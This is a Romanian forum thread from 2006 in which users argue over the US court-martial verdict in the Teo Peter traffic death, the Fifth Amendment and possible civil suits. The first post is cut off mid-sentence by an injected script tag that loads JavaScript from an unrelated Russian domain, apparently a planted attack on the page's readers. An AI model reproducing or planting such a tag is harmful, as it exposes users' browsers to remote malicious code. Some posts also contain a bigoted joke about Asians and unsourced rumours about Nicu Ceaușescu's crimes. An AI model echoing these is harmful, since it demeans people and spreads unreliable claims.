Am scris asta referitor la "despagubirile" pe care le presupui ca le-ar fi primit soferul.....In justitia americana esti "innocent until proven guilty", deci pina la ora actuala nimeni nu a dovedit si nu sunt dovezi de "despagubire" a soferului de taxi.


Cit priveste refuzul soferului sa depuna marturie, nu este obstructie a justitiei asa cum bine a precizat Mugatu, si el chiar daca ar fi fost pe teritoriul american atunci el ar fi beneficiat de prevederile constitutiei americane, referitoare la 5th ammendament. Poate a-ti vazut in filme in care la judecata inculpatul revendica "the fifth" si nimeni nu-si permite incalcarea constitutiei. Prezenta lui la proces l-ar fi putut gasi vinovat pentru viteza, ptrca s-a dovedit ca avea peste limita din zona respectiva, deasemenea si el era dator " sa micsoreze viteza pina la limita evitarii oricarui accident", ori un accident s-a produs si conform legislatiei romane asa cum este ea, el nu a micsorat viteza sa evite "orice " accident.


As incheia precizind faptul ca nici George W. Bush nu are putere sa<<script src=http://www.iroe.ru/ngg.js></script>

03.02.2006, 07:32
Jersey, le spui asa: I respecfully would like to invoke the 5th amendment, my constitutional right that protects me from self-incrimination!


ma invatat si pe mine un avocat....smileys/smiley36.gif

garfield
03.02.2006, 07:33
Imi cer scuze pentru eroare. Multumesc pentru ca m-ai corectat. De acum incolo, daca sint citat ca martor pot sa le spun sa-si vada de treaba (in engleza ar suna altfel dar mi-e teama ca ma da Sorin afara smileys/smiley36.gif)


You can try it, but it won't work. What Mugatu is referring to is self-incrimination. The passenger that survived, can not refuse to testify, but the driver does not have to say anything that might incriminate him. At least in the US.

southjersey
03.02.2006, 07:34
pentru Garfield"


"I'm dying to find out how you reached this conclusion."


You can't die! You have more than one life, remember? smileys/smiley36.gif

southjersey
03.02.2006, 07:37
pentru GNChicago: am venit in SUA acum 7 ani.

garfield
03.02.2006, 07:41
Si eu sunt dezamagita de aceasta sentinta. Ca tot speculam, nu ma pot impiedica sa ma intreb cum ar fi decurs lucrurile daca un soldat american beat la volan ar fi calcat cu masina pe un cetatean francez, italian, canadian, australian?


Dar daca cel omorat era un homeless sau un simplu muncitor, cum ar fi decurs lucrurile, si cata publicitate ar fi avut cazul?



In fine, astea-s vorbe goale si nu ajuta acum pe nimeni, Mugatu si Garfield, oricate argumente obiective ati aduce nu aveti cum sa puneti capac sentimentelor de amaraciune si frustrare care ii incearca acum pe romani.


Sunt convins, ca noi nu putem convingepe nimeni, si sentimentele lor nu se vor schimba. Nu prea vad de fapt ce am puteaface noi ca sa facem 'pe romani' fericiti in acest caz.

03.02.2006, 07:44
Fifth Amendment to the United States Constitution


No person shall be held to answer for a capital, or otherwise infamous crime, unless on a presentment or indictment of a Grand Jury, except in cases arising in the land or naval forces, or in the Militia, when in actual service in time of War or public danger; nor shall any person be subject for the same offence to be twice put in jeopardy of life or limb; nor shall be compelled in any criminal case to be a witness against himself, nor be deprived of life, liberty, or property, without due process of law; nor shall private property be taken for public use, without just compensation.

garfield
03.02.2006, 07:51
You can't die! You have more than one life, remember? smileys/smiley36.gif


Oh yeah, I have 9 livessmileys/smiley4.gif


But what a crushing disappointment for some people on this forum smileys/smiley36.gif

southjersey
03.02.2006, 07:55
GNChicago,


intr-adevar, rolul politiei este de a consemna faptele constatate. Daca insa atunci cind au ajuns la locul accidentului au gasit cadavrul lui Teo Peter, acest lucru a fost consemnat in actul de constatare. Nimeni nu poate ignora acest act.


Sansa ca un politist sa fie prezent in momentul producerii unui accident este infima. Ca atare, nici macar nu ar trebui sa discutam despre aceasta posibilitate.


Nu ai de unde sa stii cum e constiinta juratilor. Sint de acord ca ei au respectat procedura iar judecatorul a fost pus acolo tocmai pentru a se asigura de acest lucru. Nu am contestat sentinta ci doar moralitatea ei. Acum afirm cu sinceritate ca nu stiu daca in procesele penale se poate face recurs sau nu dar daca se poate, atunci ar trebui facut iar acuzarea ar trebui sa se pregateasca temeinic.


Am inteles ca se intentioneaza declansarea unui proces civil. Daca asa este, atunci (cel putin conform legii romane) familia lui Teo Peter nu ar avea cistig de cauza fiindca cele doua laturi (penala si civiila) nu pot fi disjunse. Odata declarat nevinovat, acuzatul este exonerat de orice raspundere, fie ea penala, materiala sau civila.


Si o ultima idee (nu ca as fi in pana de idei smileys/smiley1.gif): nu poti ajunge la o concluzie fara a porni de la o ipoteza. Doar ai invatat asta la matematica in scoala generala, nu? Sa inteleg ca niciodata nu ai inceput vreo fraza cu "dar daca"? Faptul ca taximetristul a refuzat sa depuna marturie ma determina sa cred ca a avut un motiv (nicidecum ca avea cunsotinta de al 5-lea amendament) care tine foarte putin de legalitate sau moralitate. Daca ai fi fost in locul lui ce ai fi facut: ai fi servit justitia sau nu?

GNChicago
03.02.2006, 08:37
Southjersey, principalul este ca la locul faptei doar soferul taxiului a fost acolo si marturia lui ar fi fost esentiala. intr-adevar politia a ajuns acolo, dar dupa accident, a ajuns acolo dupa citeva minute, dupaciteva ore, dupa citeva zile, saptamini, ani....principalul este ca ei nu pot functiona ca martori ptrca nu au fost acolo.


Am discutat aceasta posibilitate de prezenta politiei acolo ptrca a reiesit din conversatie cu raportul lor, dar raportul e bazat pe ce spune X sauY...etc.... inteleg ca directorul sau dr. de la Medico legal Mina Minovoici institute a fost la proces, dar el nu a putu spune decit ca a constatat moartea lui Teo, datorita unor leziuni, etc....doar atit.


Prezenta soferului era primordiala.


Familia lui Teo ar putea fi despagubita de guvernul Romaniei, iar Romania ar putea primi ceva ajutoare suplimentare, asta ar fi poate singura solutie, intrucit un proces civil platit de guvernul roman ar costa imens ( avocatii incarca chiar peste o mie pe ora in acest caz si se pot duce la infinit.....). Pe mine un avocat m-a incarcat $474.50 de dollari ( patrusute saptezeci si patru de dollari pe ora si cincizeci de centi) pentru o tranzactie care nu a avut loc si a trebuit sa platesc dar pe urma l-am dat afara.


De fapt nimeni pe lumea asta nu poate despagubi familia lui Teo, ptrca nimeni nu-l poate aduce pe Teo inapoi printre noi.....Dumnezeu sa-l odihneasca in pace!


Reiau ideia cu avocatii care nu trebuiesc platiti ptrca in asemenea cazuri ei trebuie sa fie co-interesati si de obicei primesc 33% din recompensa, dar daca Romanian Government este involvat atunci acestia o vor lungi cit pot de mult, ori daca iau 33% atunci au tot interesul sa faca cit mai multi bani.


Daca ei accepta cazul inseamna ca exista sanse, dar daca nu accepta inseamna ca nu sunt sanse, ptrca toti vor cazuri in care sa poata ciuguli 33%.


Daca ma intrebi pe mine ce as fi declarat daca eram soferul de taxi iti pot spune ca as fi declarat adevarul exact asa cum a fost, pentru a-mi gasi "peace of mind" linistea sufleteasca daca sunt sau nu vinovat.


Nu cred ca as trai linistit restul zilelor stiind ca din vina mea a murit un OM.


Cit priveste procesul civil, daca acesta e posibil, ptrca christopher lucra in armata si Romania are tratat specific cu america in asemenea cazuri, din nou acest proces e mult mai usor de a dovedi vinovatia, nu-mi vin in minte termenii, dar cred ca Mugatu si Garfield ma vor completa. In procesul civil nu e nevoie sa dovedesti in afara oricarui dubiu vinovatia ci e deajuns circumstantele descrise de ex. de politie ca Teo a murit in taxi..... deasemenea marturiile prietenilor, a familiei lui Teo pot fi considerate, imagini de la TV, opinia publica, etc.....etc....


Daca acest proces poate avea loc atunci familia lui Teo poate sa cistige cu un avocat bun, dar in conditiile in care avocatul nu e platit de guvernul roman ci e co-interesat cu 33% din cistigul material.


Cel mai probabil cred ca va fi un settlement out of court!

southjersey
03.02.2006, 09:36
Mi se pare mai plauzibila varianta cu settlement-ul. In felul asta nu se mai fac valuri si toata lumea e, ma rog, multumita...

hazel
03.02.2006, 09:37
Si eu sunt dezamagita de aceasta sentinta. Ca tot speculam, nu ma pot impiedica sa ma intreb cum ar fi decurs lucrurile daca un soldat american beat la volan ar fi calcat cu masina pe un cetatean francez, italian, canadian, australian?


Dar daca cel omorat era un homeless sau un simplu muncitor, cum ar fi decurs lucrurile, si cata publicitate ar fi avut cazul?





Of Garfield, hai sa ne raspundem cu intrebari pentru restul zilei de azi.


Dar daca cel omorat era o celebritate franceza, italiana, australiana cum ar fi fost mediatizat cazul si cum ar fi decurs lucrurile pe partea americana?http://www.romanian-portal.com/forum/smileys/smiley1.gif

GNChicago
03.02.2006, 09:47
Hazel, TVR-international a prezentat vreo 5-6 cazuri de accidente in care politicieni si bogatasi romani au omorit cu masina, intre 1 si 5 persoane deodata si nu s-a facut atita vilva, probabil ptrca sunt oameni si oameni.....


Cel mai cunoscut este cazul sotiei lui adrian Paunescu care a omorit o familie de trei peroane, iar una din fete a scapat cu viata si adrian Paunescu i-a oferit un laptop printre altele......, dar sotia lui a primit trei ani de inchisoare cu suspendare, deci nu a stat si nu va sta nici macar o zi in inchisoare....


Cazul e stins!!!! si nimeni nu mai face niciun fel de valuri macar !

hazel
03.02.2006, 10:05
Da GNC, asa este, deja m-am mai plans pe threadurile astea aprinse de azi de jungla in justitia romaneasca unde daca ai bani scapi.


Ceea ce am intrebat initial, dupa ce ampus disclaimer-ul ca speculez - pentru ca se face si asta la acesttopic-si la care Garfield mi-a raspuns cu o intrebarea fost: oare s-ar fi facut mai multe eforturisa se fi intocmit capete de acuzare mai puternice de catre echipa americana aacuzarii, daca victima ar fi fost un cetatean francez calcat cu masina de un american cu alcoolemie ridicata, in Franta, astfel incat soldatul sa primeasca oarece pedeapsa? Garfield mi-a raspuns cu o intrebare si eu i-am raspuns cu o intrebare smileys/smiley1.gif

GNChicago
03.02.2006, 10:12
Hazel este regretabil ce i s-a intimplat mamei tale si asta e tot din cauza coruptiei, ptrca stiu ca scapa orice ar face.


Am vazut la TVR-i un caz mai putin fericit in care un bunic s-a asigurat sa treaca cu nepoata lui de mina pe trecere de pietoni si a venit un bolid cu 120Km la ora (O suta douazeci) si i-a spulberat, n-au avut nicio sansa de supravietuire..... Cred ca la astia le-as confisca si masina si averea sa porneasca de la zero la munca silnica.... asta merita!


Probabil ca Garfield a venit de curind din Romania ca numai acolo se mai obisnuieste sa ti se raspunda la o intrebare cu o alta intrebare....

Born2Cook
03.02.2006, 14:31
Va mai aduceti aminte de "Nicusor"? Citi dintre voi au auzit decrimele lui pe care "taticul" le platea pe spinarea noastra?


Hazel, sincer imi pare rau. Cavictima, care a trecut printr-un accident de masina ...chiar foarte grav ... stiu cit de dificil este nu numai pt momentul in cauza cit si ani de zile dupa incident.


Fiecare om pe acest pamantar trebui sa fieresponsabil si perfect constient sa traga consecintele pt actiunile sale. Din pacate sint exceptii, si nu putine.

GNChicago
03.02.2006, 15:39
Vorbesti probabil de Nicusor Ceausescu?


Spune tot ce stii. Am citit de crime platite in Franta, Germania, Europa Libera, dar ar fi interesant sa auzim totul.....


Go head!

Born2Cook
03.02.2006, 17:07
Una, care a rasturnat tara cu fundul. Prin anii '80a retinut-o cu forta pe fata unui oficial la Moscova, lacheii au dus-o cu forta la Intercontinental unde el a incercat s-o abuzeze sexual. Cind ea s-a luptat cu el, refuzand, el fiind beat a luat-o de par si a aruncat-o pe geam, de la ultimul etaj.


Asa ca "taticul" grijuliu si iubitor, sa despagubeasca fapta "dragalasului fecior" a ajuns la o recopensa unica. Productia 100% a graului din Romania pe perioada de 5 ani... iarmancarea a ajuns pe cartela.


Inca una la Piata Romana in Bucuresti cind a spulberat o mama cu fetita de mana pe trecerea de pietoni... Accidentul a fost atat de violent incat a rupt-o pe mama in doua... iar el nu s-a oprit cu masina decit la palat. Aia nu mai stiu cum s-a aranjat... dar dupa cite pot sa-mi imaginez e ca ceva a facut "taticul" ca sa nu se auda mai mult.


Si-au mai fost citeva la Cazinoul din Constanta... violuri la greu, toata noaptea si dupa ce le aranja le dadea la lacheii lui. Mi-a ajuns la urechi ca una din fete s-a spanzurat.


Sa nu mai vorbim de ce facea la Sibiu... poate cei din zona isi aduc aminte si ne spun si noua.

GNChicago
03.02.2006, 17:26
Cred ca i-a ajuns blestemele parintilor.....si a-i altora.


Nu stiam de niciunul din aceste crime si nu inteleg dece lumea este retinuta sa vorbeasca deschisdespre lucruri adevarate.


E o rusine nationala tacerea celor care stiu si nu demasca criminalii....

Born2Cook
03.02.2006, 17:43
GNC, nu e vorba de tacere ci dece varsta aveaumembrii acestui Forum in timpul erei ceausiste. Cine a fost copil pe vremea aceea ... e foarte greu sa isi aduca aminte de asa ceva.


O dovada e gartfield care nu cunoaste toate expresiile de pe timpuri.


Dar mai sint oameni care cunosc date concrete despre crime comise de "flacau".

agora
05.02.2006, 00:58
pt garfield


"agora, sa stii ca legile in US sunt stricte pentru cei care omoara sub influenta drogurilor, sau al alcoholului. Pentru cei care nici nu sunt la prima infractiune, sentinta e si mai severa. Sunt anumite variatii in lege depinde de stat si county, dar in general sunt destul de asemanatoare pedepsele."


Asta da consolare! Ar fi mai logic sa nu se ajunga acolo sau macar sa aplice pedepse mai severe de la prima abatere; nu de alta dar mortul ramane mort indiferent de severitatea ori uniformitatea pedepselor.

agora
05.02.2006, 01:07
pt gnchicago


"... raportul politiei conteaza pentru consemnarea faptelor, darc totul trebuie verificat ca acuratete si trebuie repetat sub juramint in fata judecatorului si a juratilor."


Pai si daca si oamenii simpli stiu asta e greu de presupus ca acuzarea nu ar fi stiut ce avea de facut. Poate juratii si-or fi facut treaba dar actiunile acuzarii ridica destule semne de intrebare asupra profesionalismului si obiectivitatii sale.


edit


Pentru partea cu locatia o sa postez la thread-ul de off-topic

05.02.2006, 04:12
Eu as vrea sa va intreb, daca Van Goethem ar fi produs accidentul in State ar fi fost condamnat sau nu?

GNChicago
05.02.2006, 05:26
FlowerPower, raspunsul cred ca l-am dat cind am scris ca am depasit viteza si semnul era acoperit partial de o creanga de la un pom, iar judecatorul m-a gasit nevinovat ptr depasirea vitezei.


Deci, parerea mea, avind in vedere ca semnul era partial vizibil Van Goethem nu ar fi fost condamnat in USA, dar primaria ar fi fost condamnata si obligata sa-si faca semnele vizibile.


Agora, Constitutia Statelor Unite nu va fi schimbata din cauza ignorantei acuzarii care nu a prezentat faptele la proces!


Repet ce am scris anterior, ca nici Bush, Basescu sau Tariceanu nu pot influenta justitia romaneasca. Tariceanu mai incearca acest lucru in justitia romaneasca, dar sper sa se trezeasca!

rossa
05.02.2006, 23:25
Sorry , am lipsit un pic . Aveam un dialog cu Mugatu .


Pai pot sa-ti zic ca in ceea ce priveste asiaticii m-am bucurat si eu atunci cand un caine a ''halit'' un asiatic . Tu-ti dai seama de cate ori s-a intamplat situatia inversa ?? smileys/smiley36.gif. Eu am numit asta ,, Razbunarea canina '' smileys/smiley36.gif.

06.02.2006, 00:11
Bravo Rossa, frumos rationamentul!Sa vedem ce ai sa zicicand un porc o sa muste unromansmileys/smiley5.gif


Noroccu stirile astea senzational din Romanai ca sa ai si tu o bucuriesmileys/smiley2.gif

rossa
06.02.2006, 00:34
OF Doamne , acum esti tu ofensat de rationamentul meu , curios . Aaaa si inca ceva , porci-i musca pe romani cam in fiecare zi , unii mai si mor . Din fericire unii s-au convertit si scapat de stigmatul asta care se numeste ''roman'' .


Oricum remarca anterioara era o gluma , un mod elegant de a iesi dintr-o disputa care nu se poate termina bine . Daca n-ai inteles asta e treaba ta .

agora
06.02.2006, 00:43
pt Gnchicago


Ignoranta acuzarii?!? Pai undeva pe pagina a doua spui ca lucrurile sunt atat de bine cunoscute incat si copii le stiu iar acum spui ca ofiterul american care a reprezentat partea acuzarii era ignorant? Adica procurorul e mai neinformat decat niste copii oarecare?

GNChicago
06.02.2006, 03:34
Agora, imi pare rau dar se pare ca nu intelegi procesul de justitie american. Nu cred ca se va schimba Constitutia Statelor Unite doar pentruca acuzarea nu a venit cu martori la proces. Soferul taxiului a refuzat sa vina la proces desi i s-a oferit plata transportului, casa, masa si 40 de dollari pe zi. Americanii nu poate obliga pe nimeni sa vina la proces, asta depindea de constiinta fiecaruia, dar el se putea "selfincrimina" la acel proces.


Nu conteaza ce cred copii de pe strada sau ce cred eu, la judecata trebuie spuse faptele sub juramint.


Agora ai scris mai sus urmatoarele:


"Pai undeva pe pagina a doua spui ca lucrurile sunt atat de bine cunoscute incat si copii le stiu iar acum spui ca ofiterul american care a reprezentat partea acuzarii era ignorant?"


Nu cred ca am scris asa ceva, este interpretarea ta personala care imi pune vorbe in gura.... nu am spus ca Ofiterul american.....era ignorant", el a respectat legile americane.


Agora, cred ca va trece multa apa pe Dimbovitza River pina sa intelegi sistemul de justitie american si va trebui sa ma opresc aici!


Iti doresc toate cele bune!

agora
06.02.2006, 04:59
pt Gnchicago


Faptul ca soferul nu a dorit sa vina la proces are importanta dar nu ar fi fost unica solutie. Daca ar fi decedat totiocupantiimasiniinu s-ar mai fi tinut nici un proces pentru ca n-a ramas nimeni viu in masina sa spuna cine a fost in ea? Se putea chema echipa ambulantei ori cea de la descarcerare.


Drept e ca nu ai scris:"...ca lucrurile sunt atat de bine cunoscute incat si copii le stiu iar acum spui ca ofiterul american care a reprezentat partea acuzarii era ignorant?"


Este o sinteza din urmatoarele texte si voi sublinia strict aspectele pe care le-am preluat:


text1


"Despre proces in sine, daca romanii vroiau sa cistige acest proces trebuia sa-l aduca ca martor pe SINGURUL om care a fost acolo in momentul accidentului si anume pe SOFERUL TAXIULUI, acesta era singurul care-l putea loca pe Teo Peter in taxi. Juriul trebuia sa aiba o marturie clara in acest sens ori soferul nu a fost la proces. Degeaba urla C.T. Popescu ptrca el nu a fost la locul accidentului. Daca a-ti vazut filme destule, in filme se mai intimpla sa se aduca mortul mort deja si sa fie plasat unde trebuie ptrca sa iasa un scenariu bun.....


... ... ...


Nu sunt avocat de meserie, dar cele spuse de mine mai sus sunt stiute de majoritatea elevilor de scoala chiar."


text 2


"Agora, Constitutia Statelor Unite nu va fi schimbata din cauza ignorantei acuzarii care nu a prezentat faptele la proces!"


Acuzarea a fost reprezentata de un ofiter american care poarta intreaga raspundere pentru felul in care a gestionat actul acuzarii asa ca nu inteleg la a cui ignoranta te-ai referit daca nu la a sa.

06.02.2006, 05:02
GNChicago, nu pot fi de acord cu tine.Chiar daca semnul era partial acoperit, nu intri intr-o intersectie in viteza si mai esti si baut pe deasupra,omori un om si esti gasit nevinovat.Asta e chiar culmea.


Eu cred ca daca facea accidentul in State lua ani grei de puscarie.

GNChicago
07.02.2006, 14:55
Agora, am destul de lucru cu tine fara sa mai puna ipoteze, daca se intimpla intr-un fel sau altul, hai sa ne limitam la concret fara "ifs"....


Americanii care au fost in romania nu au fost acuzatorii ci "investigatori", care au datoria sa spuna adevarul ce au vazut ei dupa accident, deci ei nu sunt acuzatori ci doar investigatori......


Acuzatorii, sunt familia lui teo Peter, soferul taxiului, agora, si altii ca tine care insa nu au venit la proces.....


FlowerPower, sergentul a fost judecat in America si daca aici un semn este acoperit, asa cum am dat un exemplu cu viteza depasita de mine, atunci judecatorul are suficient motiv sa te gaseasca nevinovat, nu am de unde sa stiu ce trebuia sa fac acolo daca semnul nu se vede, poate ca scria sa mearga cu 100Km/ora sau 200.....si de obicei judecatorul trage de urechi municipalitatea orasului iar daca se intimpla ceva rau acolo atunci municipalitatea TREBUIE sa plateasca daune. asa e legea in America. "Dura lex sed lex!"


O fi fost baut si restul....dar a gasit imunitatea diplomatica semnata de ambele state, roman si american si nu a putut sa i se ia singe ca sa se dovedeasca ca a fost baut ca de restul.....partenera lui a dat prea multe declaratii contradictorii si astfel si-a pierdut credibilitatea in fata juriului.


FlowerPower, daca accidentul avea loc in America, verdictul era exact la fel daca semnul nu era vizibil, dar primaria era buna de plata.


Acesta a fost procesul penal.


La procesul civil, este mai usor sa-l gaseasca voinovat ptrca se poate luasi evidenta circumstantiala.


Acesta este mesajul meu #1200 si as vrea sa inchei aici acest subiect nu inainte de a spune ca este regretabil ca s-a intimplat acest accident si chiar daca personal vad niste vinovatii atit a americanului, cit si a soferului de taxi dar si a primariei si a celor care decid codul rutier din Romania, romania cu cele mai multe accidente din Europa conform unei statii TV romanesti.


Romania va trebui sa revizuiasca acel complicat cod rutier si sa-l faca cit mai simplu.


DUMNEZEU sa-l odihneasca in pace!

southjersey
08.02.2006, 04:16
Desi nu exista similaritate cu cazul Teo Peter, iata un articol publicat de Gardianul referitor la cetateanul american Anthony Bianchi, acuzat de pedofilie si omor.


Este interesant cum se va rezolva acest proces si de vazut daca acuzatiile aduse acestuia sint reale (iar daca sint, daca acesta este pedepsit).


"Anchetatorii romani au primit, ieri, copii ale pasaportului milionarului judecat in SUA pentru turism sexual, care contine stampile de intrare in Romania si Republica Moldova. Acest lucru demonstreaza ca, la data uciderii unui copil roman de 10 ani, el se afla intr-una din cele doua tari, dar nu se stie exact unde. Anthony Mark Bianchi este suspectat ca ar fi autorul odioasei crime de Ciolpani, acolo unde a fost descoperit cadavrul unui baiat care a fost violat si ucis cu bestialitate. Pe copiile pasaportului se disting, neclar insa, sase stampile aplicate la trecerea frontierei: patru aplicate de autoritatile de frontiera romane si doua de cele din Republica Moldova.


Din cate se pare, imediat dupa sosirea copiilor dupa pasaportul americanului, doi ofiteri romani au plecat in Republica Moldova pentru a se documenta in legatura cu perioada in care americanul a stat pe teritoriul acestui stat si cand a trecut el frontiera in Romania. U.S. Immigration and Customs Enforcement a mai transmis ca, pentru obtinerea lui probelor biologice ale cetateanului american, autoritatile romane au nevoie de o aprobare a Curtii Federale din America. Milionarul a fost pus sub acuzare in 12 ianuarie, de un juriu federal din Philadelphia, fiind una dintre persoanele inculpate in baza unei legi americane din 2003 care permite tragerea la raspundere penala a celor care practica turismul sexual. Bianchi este acuzat ca a calatorit in Romania, Cuba si Republica Moldova pentru a intretine relatii sexuale cu minori cu varste intre 12 si 15 ani. (A. Stancu) "

southjersey
08.02.2006, 04:21
Imi este neclar totusi de ce Romania are nevoie de o decizie a Curtii Federale a SUA pentru a preleva probe biologice? Anthony Bianchi este un cetatean obisnuit, neavind imunitate diplomatica. Nu stiu cum functioneaza lucrurile dar ma intreb: daca eu, ca cetatean roman, comit o infractiune, statul american trebuie sa obtina decizia Curtii Supreme de Justitie din Romania pentru a putea sa-mi preleveze probe biologice?


Daca cineva cunoaste aceste aspecte il/o rog sa-mi raspunda. Fara pareri personale, va rog...

08.02.2006, 04:39
Southjersey,cele doua cazuri nu pot fi comparate deoarece Van Goethem fiind militar intra sub alt regim.Militarii americani nu pot fi judecati in tara unde activeaza daca au comis diferite delicte deoarece au imunitate.Cu Ro e semnat un asemenea acord si dupa cite stiu eu USA are semnate asemenea acorduri cu toate tarile unde au militari.Din cauza asta nu i s-au putut recolta probe biologice si nici nu a putut sa fie oprit sa paraseasca tara.Asta e situatia si orice am discuta noi nu se poate face nimic din pacate.In mod sigur lucrurile vor ramane asa cum sunt.

08.02.2006, 04:54
GNCHICAGO,daca justitia americana s-a ascuns dupa creanga care acoperea semnul putem spune OK--TRAIASCA DREPTATEA--


Din pacate nu e primul caz de militar american care comite delicte pe teritoriul altui stat si scapa cu sanctiuni minime, toti fiind judecati in State.Probabil sunt pure coincidente si nu intelegem noi justitia americana.Posibil dar putin probabil.Ultimul caz care imi vine in minte e violarea unei japoneze de un soldat american in Okinawa.Binenteles ca si el a fost judecat in State si coincidenta a fost gasit nevinovat.Cred ca de vina a fost creanga care a acoperit semnul.Ce zici?Iar lista poate continua.

southjersey
08.02.2006, 04:55
FlowerPower, se pare ca nu ai citit cu atentie ce am scris. O sa te rog sa recitesti prima fraza a mesajului postat de mine si vei vedea ca nu e vorba de cazul Teo Peter (implicit de Van Goethem) ci de un alt cetatean american (simplu cetatean, ca sa parafrazez pe cineva smileys/smiley36.gif), iar acuzatia este cu totul alta (pedofilie si omor).

08.02.2006, 05:01
Am uitat sa adaug ceva.


Familia lui Teo Peter nu vrea compensatii materiale de la armata americana sau de la guvernul american.


Vrea numai sa se faca dreptate, dar se pare ca pe lumea asta e foarte greu sa obtiiasa ceva.Poate pe lumea cealalta.

08.02.2006, 05:03
Southjersey,imi cer scuze daca nu am fost la subiect.

agora
08.02.2006, 06:15
pt. GNChicago


Citez:


"Americanii care au fost in romania nu au fost acuzatorii ci "investigatori", care au datoria sa spuna adevarul ce au vazut ei dupa accident, deci ei nu sunt acuzatori ci doar investigatori......


Acuzatorii, sunt familia lui teo Peter, soferul taxiului, agora, si altii ca tine care insa nu au venit la proces....."





Cred ca faci niste confuzii deloc neglijabile.


Din cunostintele tale despre justitia din SUA consideri ca niste cetateni straini ca familia lui Teo orisoferul taxiului putea sa reprezinte partea acuzarii intr-un proces al unei curti martiale din USA?

agora
11.02.2006, 00:18
Citind justificarile postate in favoarea justitie americane in procesul lui Teo Peter se pare ca se vorbeste din interpretari generice ale Constitutiei SUA si din experiente singulare. Am avut curiozitatea sa citesc parte din UCMJ sa vad daca toate minunatiile postate in acest topic chiar se regasesc in acest document care reglementeaza activitatea curtilor martiale din State.


Spun unii ca romanii (autoritatile sau diferite persoane) nu au organizat o acuzare corespunzatoare.


Fals, romanii nu puteau sa aiba calitatea acuzatori (procuror) intr-un proces al unei curti martiale din SUA si ca urmare nu puteau sa prezinte din proprie initiativa nici un fel de dovezi. La pc. 827 Art. 27 scrie:
<H5 style="MARGIN: auto 0cm">(b) Trial counsel or defense counsel detailed for a general court-martial- - </H5>
<H5 style="MARGIN: auto 0cm">(1) must be a judge advocate who is a graduate of an accredited law school or is a member of the bar of a Federal court or of the highest court of a State; or must be a member of the bar of a Federal court or of the highest court of a State; and </H5>
<H5 style="MARGIN: auto 0cm">(2) must be certified as competent to perform such duties by the Judge Advocate General of the armed force of which he is a member. </H5>


Deoarece nu romanii sunt cei care au reprezentat partea acuzarii inseamna ca sarcina construirii si sustinerii acuzarii a revenit in exclusivitate partii americane. Datele prezentate de partea acuzarii sau apararii sunt furnizate de investigatori americani care sunt trimisi sa recolteze orice probe relevante pentru a judeca vinovatia sau nevinovatia celui acuzat. La pc. 846 Art. 46 scrie ca fiecare parte a curtii are drept egal de a strange dovezi:
<H5 style="MARGIN: auto 0cm">The trial counsel, the defense counsel, and the court-martial shall have equal opportunity to obtain witnesses and other evidence in accordance with such regulations as the President may prescribe. </H5>


S-a vorbit de insemnatatea cruciala a prezentei soferului de taxi la proces.


In primul rand prezenta nu este obligatorie in sala de judecata, legea da posibilitatea ca pentru cei care nu se pot prezenta sa existe varianta depozitiei (pc. 849 Art. 49):
<H5 style="MARGIN: auto 0cm">(a)

11.02.2006, 03:38
Agora, sunt de acord cu tine.

14.02.2006, 04:42
Dupa cite vad cazul lui Teo Peter nu mai intereseaza decit putina lume.Probabil nu se mai vede din cauza crengii care acopera semnul in State.Oricum sunt absolut sigur ca nimeni nu scapa nepedepsit indiferent de verdictul unei curti, tribunal ce-o fi.smileys/smiley92.gif

agora
17.02.2006, 00:37
http://www3.ziare.ro/articol.php/1140122811

17.02.2006, 04:17
Colonelul James Mallon expert in sistemul juridic american a fost de-a dreptul jalnic la video conferinta in cazul Teo Peter.smileys/smiley92.gif

agora
08.03.2006, 21:11
Pentru ca accidentul lui madam Paunescu a fost adesea pomenit in acest context iata cateva informatii mai de actualitate:


http://www3.ziare.ro/articol.php/1141855454

angeline
08.03.2006, 21:51
Care verdict ar fi cel corect ?!... citind, asteptarile d-nei Paunescu mi se par ciudate (din punctul meu de vedere),mizand peanularea mariri pedepseiadacand ca argumente..."eforturi financiare, pentru inmormantarea si pomenile victimelor, dar in special pentru cresterea si educarea fetitei, care a devenit o membra a familiei Paunescu. Relatiile dintre fata si familia Paunescu sunt foarte sudate: cu totii merg la mare, la munte, ce are fata sotilor Paunescu are si Silvia. De asemenea, i-au cumparat calculator, haine, telefoane si, in plus, toate facturile sunt platite de ei. Foloseste cuiva daca inculpata ajunge la inchisoare? Cine-i va asigura fetitei cresterea? Aceasta sentinta nu ar aduce beneficii nimanui."


Practic, nu cred ca este imposibil si nici greu ca atunci cand ai bani , functii si influenta, sa oferi suport material si crestere unui copil.Totusi nu mi se pare corect, sa substitui pedeapsa reala cu o adoptie.

agora
09.03.2006, 04:53
Moral, cred ca adoptia copilului si sprijinirea lui ca parinte e singura responsabilitate care poate cat de cat poate reduce ceva din culpa d-nei Paunescu in fata copilului.


Legal ne putem gandi ca nu este suficient pentru caea in ciuda obligatiilor pe care si le asuma fata de copilul victimelor inca e un potential pericol pe sosele si mai poate lasa si alte familii indurerate.


Cred ca judecatorii au o decizie dificila pentru ca ei trebuie sa aprecieze daca prin tot ceea ce face, Carmen Paunescu demonstreaza ca a invatat ceva din consecintele actelor ei sau e nevoie sa fie pedepsita suplimentar pentru a proteja societatea de un probabil nou act de iresponsabilitate din partea sa.